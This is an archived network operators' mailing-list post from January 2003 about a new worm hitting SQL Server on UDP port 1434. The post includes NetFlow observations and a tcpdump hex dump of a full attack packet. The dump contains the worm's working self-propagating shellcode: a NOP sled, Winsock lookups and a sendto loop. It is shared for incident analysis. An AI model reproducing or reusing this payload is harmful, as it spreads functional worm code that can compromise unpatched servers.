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North American Network Operators Group Date Prev | Date Next | Date Index | Thread Index | Author Index | Historical Re: New worm / port 1434?
### On Fri, 24 Jan 2003 22:59:17 -0800, Josh Richards <[email protected]> ### casually decided to expound upon [email protected] the following thoughts ### about "Re: New worm / port 1434?": JR> * Avleen Vig <[email protected]> [20030124 22:44]: JR> > JR> > It seems we have a new worm hitting Microsoft SQL server servers on port JR> > 1434. JR> JR> A preliminary look at some of our NetFlow data shows a suspect ICMP payload JR> delivered to one of our downstream colo customer boxes followed by a JR> 70 Mbit/s burst from them. The burst consisted of traffic to seemingly random JR> destinations on 1434/udp. This customer typically does about 0.250 Mbit/s JR> so this was a bit out of their profile. :-) Needless to say, we shut them JR> down per a suspected security incident. The ICMP came from 66.214.194.31 JR> though that could quite easily be forged or just another compromised box. JR> We're seeing red to many networks all over the world though our network seems JR> to have quieted down a bit. Sounds like a DDoS in the works. JR> JR> Anyone else able to corroborate/compare notes? First attack packet came in around 2130PST. A tcpdump reveals this: Jan 25 00:05:49.880553 64.159.86.99.2321 > 66.166.158.240.1434: [udp sum ok] udp 376 (ttl 120, id 53207) 0000: 4500 0194 cfd7 0000 7811 f8e8 409f 5663 E...��..x.��@.Vc 0010: 42a6 9ef0 0911 059a 0180 b3a1 0401 0101 B�.�......��.... 0020: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0030: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0040: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0050: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0060: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0070: 0101 0101 0101 0101 0101 0101 01dc c9b0 .............�ɰ 0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae B�........p�B.p� 0090: 4290 9090 9090 9090 9068 dcc9 b042 b801 B........h�ɰB�. 00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1ɱ.P��5....P 00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 .�Qh.dllhel32hke 00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe 00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf�llQh32.dhws2 00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f�etQhsockf�toQ 00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend�..�B.E�P�. 0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.E�P.E�P�.P�..� 0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=U.�Qt.�..� 0120: 42ff 16ff d031 c951 5150 81f1 0301 049b B�.��1�QQP.�.... 0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff .�....Q.E�P.E�P� 0140: 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j.��P.E�P.E 0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 �P�..�.�.�<a��.E 0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 �[email protected]��..���.) 0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031 �....�.E�j..E�P1 0180: c951 6681 f178 0151 8d45 0350 8b45 ac50 �Qf.�x.Q.E.P.E�P 0190: ffd6 ebca ���� -- /*===================[ Jake Khuon <[email protected]> ]======================+ | Packet Plumber, Network Engineers /| / [~ [~ |) | | --------------- | | for Effective Bandwidth Utilisation / |/ [_ [_ |) |_| N E T W O R K S | +=========================================================================*/
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